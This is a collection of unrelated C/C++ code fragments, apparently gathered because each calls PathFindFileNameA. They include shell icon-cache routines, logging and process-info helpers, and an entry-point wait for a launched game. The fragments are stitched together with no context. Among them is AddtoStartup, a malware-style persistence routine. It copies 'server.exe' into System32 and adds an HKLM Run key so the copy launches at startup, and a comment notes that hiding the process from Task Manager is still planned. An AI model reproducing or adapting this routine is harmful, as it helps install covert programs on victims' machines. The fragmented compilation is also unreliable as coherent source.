bool ModuleFileName(std::string* out, HMODULE hModule)
{
std::unique_ptr<char[]> buffer(new char[MAX_PATH]);
GetModuleFileNameA(hModule, buffer.get(), MAX_PATH);
*out = PathFindFileNameA(buffer.get());
return !out->empty();
}
/*****************************************************************************
* SIC_GetIconIndex [internal]
*
* Parameters
* sSourceFile [IN] filename of file containing the icon
* index [IN] index/resID (negated) in this file
*
* NOTES
* look in the cache for a proper icon. if not available the icon is taken
* from the file and cached
*/
INT SIC_GetIconIndex (LPCSTR sSourceFile, INT dwSourceIndex )
{ SIC_ENTRY sice;
INT ret, index = INVALID_INDEX;
TRACE("%s %i\n", sSourceFile, dwSourceIndex);
sice.sSourceFile = PathFindFileNameA(sSourceFile);
sice.dwSourceIndex = dwSourceIndex;
EnterCriticalSection(&SHELL32_SicCS);
if (NULL != pDPA_GetPtr (sic_hdpa, 0))
{
/* search linear from position 0*/
index = pDPA_Search (sic_hdpa, &sice, 0, SIC_CompareEntries, 0, 0);
}
if ( INVALID_INDEX == index )
{
ret = SIC_LoadIcon (sSourceFile, dwSourceIndex);
}
else
{
TRACE("-- found\n");
ret = ((LPSIC_ENTRY)pDPA_GetPtr(sic_hdpa, index))->dwListIndex;
}
LeaveCriticalSection(&SHELL32_SicCS);
return ret;
}
const char* Cx_LogManager::TrimFileName(const char* file)
{
ASSERT(file && *file);
#ifndef __GNUC__
const char* name = PathFindFileNameA(file);
#else
const char* name = file + strlen(file);
#endif
int folder = 0;
while (name > file)
{
name--;
if ('\\' == *name || '/' == *name)
{
if (++folder > 2)
{
name++;
break;
}
}
}
return name;
}
void AddtoStartup(){
/*FIRST THING WE DO IS COPY SERVER.EXE TO SYSTEM32 FOLDER AND THEN MAKE A REGISTRY KEY THAT OPENS SERVER.EXE AT STARTUP*/
//NOTE we still have to implement the process hiding in task manager!~
std::string filename ="\\";
char system[MAX_PATH];
char pathtofile[MAX_PATH];
//GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
HMODULE GetModH = GetModuleHandle(NULL);
//GET PATH OF SERVER.EXE
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
filename.append(PathFindFileNameA(pathtofile));
//GET SYSTEM DIRECTORY LIKE SYSTEM32 OR SYSWOW64, FOR COMPATIBILITY REASONS
GetSystemDirectory(system,sizeof(system));
//APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY SO WE CAN DROP OUR SERVER INTO THE SYSTEM 32 FOLDER
strcat(system, filename.c_str());
//COPY SERVER TO THE SYSTEM32 FOLDER
CopyFile(pathtofile,system,false);
//MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "serv",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
}
const char* getPIDName(DWORD procid){
char path[_MAX_PATH + 1] = "";
memset(g_pidName, 0, MAX_PATH);
HANDLE h_Process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, procid);
if (!h_Process) return g_pidName;
GetModuleFileNameExA(h_Process, NULL, path, MAX_PATH + 1);
char* pidName = PathFindFileNameA(path);
strcpy(g_pidName, pidName);
return g_pidName;
}
int WaitUntilEntryPoint(HANDLE hProcess, HANDLE hThread, const char *module)
{
// Try to get the entry point by various means, sorted by both efficiency
// and probability of them working.
void *entry_addr = NULL;
/**
* Method 1: Initial value of EAX
* After creating a process in suspended state, EAX is guaranteed to contain
* the correct address of the entry point, even when the executable has the
* DYNAMICBASE flag activated in its header.
*
* (Works on Windows, but not on Wine)
*/
if(!(entry_addr = entry_from_context(hThread))) {
HMODULE module_base;
/**
* Method 2: EnumProcessModules, then parse the PE header.
*
* (Works on Wine, but not on Windows immediately after the target process
* was created in suspended state.)
*/
if(!(module_base = GetRemoteModuleHandle(hProcess, module))) {
/**
* Method 3: Guessing 0x400000
* This is the default value in many compilers and should thus work for
* most non-ASLR Windows applications.
*/
module_base = (HMODULE)0x400000;
}
entry_addr = GetRemoteModuleEntryPoint(hProcess, module_base);
}
if(entry_addr) {
return ThreadWaitUntil(hProcess, hThread, entry_addr);
} else {
log_mboxf(NULL, MB_OK | MB_ICONEXCLAMATION,
"Couldn't determine the entry point of %s!\n"
"\n"
"Seems as if %s won't work with this game on your system.\n",
PathFindFileNameA(module), PROJECT_NAME_SHORT()
);
return 1;
}
}
/*****************************************************************************
* SIC_IconAppend [internal]
*
* NOTES
* appends a icon pair to the end of the cache
*/
static INT SIC_IconAppend (LPCSTR sSourceFile, INT dwSourceIndex, HICON hSmallIcon, HICON hBigIcon)
{ LPSIC_ENTRY lpsice;
INT ret, index, index1;
char *path;
TRACE("%s %i %x %x\n", sSourceFile, dwSourceIndex, hSmallIcon ,hBigIcon);
lpsice = (LPSIC_ENTRY) SHAlloc (sizeof (SIC_ENTRY));
path = PathFindFileNameA(sSourceFile);
lpsice->sSourceFile = HeapAlloc( GetProcessHeap(), 0, strlen(path)+1 );
strcpy( lpsice->sSourceFile, path );
lpsice->dwSourceIndex = dwSourceIndex;
EnterCriticalSection(&SHELL32_SicCS);
index = pDPA_InsertPtr(sic_hdpa, 0x7fff, lpsice);
if ( INVALID_INDEX == index )
{
SHFree(lpsice);
ret = INVALID_INDEX;
}
else
{
index = ImageList_AddIcon (ShellSmallIconList, hSmallIcon);
index1= ImageList_AddIcon (ShellBigIconList, hBigIcon);
if (index!=index1)
{
FIXME("iconlists out of sync 0x%x 0x%x\n", index, index1);
}
lpsice->dwListIndex = index;
ret = lpsice->dwListIndex;
}
LeaveCriticalSection(&SHELL32_SicCS);
return ret;
}
static void UpdateProcessInfo_Realtime(ProcessInfo& info, uint64_t now, uint32_t thisPid)
{
if (now - info.mLastRefreshTicks > 1000) {
info.mLastRefreshTicks = now;
char path[MAX_PATH] = "<error>";
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, thisPid);
if (h) {
GetModuleFileNameExA(h, NULL, path, sizeof(path) - 1);
std::string name = PathFindFileNameA(path);
if (name != info.mModuleName) {
info.mChainMap.clear();
info.mModuleName = name;
}
CloseHandle(h);
} else {
info.mChainMap.clear();
}
}
// remove chains without recent updates
map_erase_if(info.mChainMap, [now](const std::pair<const uint64_t, SwapChainData>& entry) {
return now - entry.second.mLastUpdateTicks > CHAIN_TIMEOUT_THRESHOLD_TICKS;
});
}
void GetConfigFilePath( const char file[], char path[MAX_PATH] )
{
GetModuleFileNameA( NULL, path, MAX_PATH );
strcpy( PathFindFileNameA( path ), file );
}//end GetConfigFilePath
/* Get basename of path */
char *basename_ex(char *path)
{
return (PathFindFileNameA(path));
}
///<summary>
///保存先のファイルパスを生成（OpenCV用としてマルチバイトキャラ専用）
///</summary>
void CImageProcessor::GetNewFilePath(LPSTR lpSrc, LPSTR lpFile, LPSTR lpDest)
{
LPCSTR lpFileName = PathFindFileNameA(lpSrc);
wsprintfA(lpDest, "%s.%s", lpFileName, lpFile);
}
/*************************************************************************
* PathFindFileName [SHELL32.34]
*/
LPVOID WINAPI PathFindFileNameAW(LPCVOID lpszPath)
{
if(SHELL_OsIsUnicode())
return PathFindFileNameW(lpszPath);
return PathFindFileNameA(lpszPath);
}
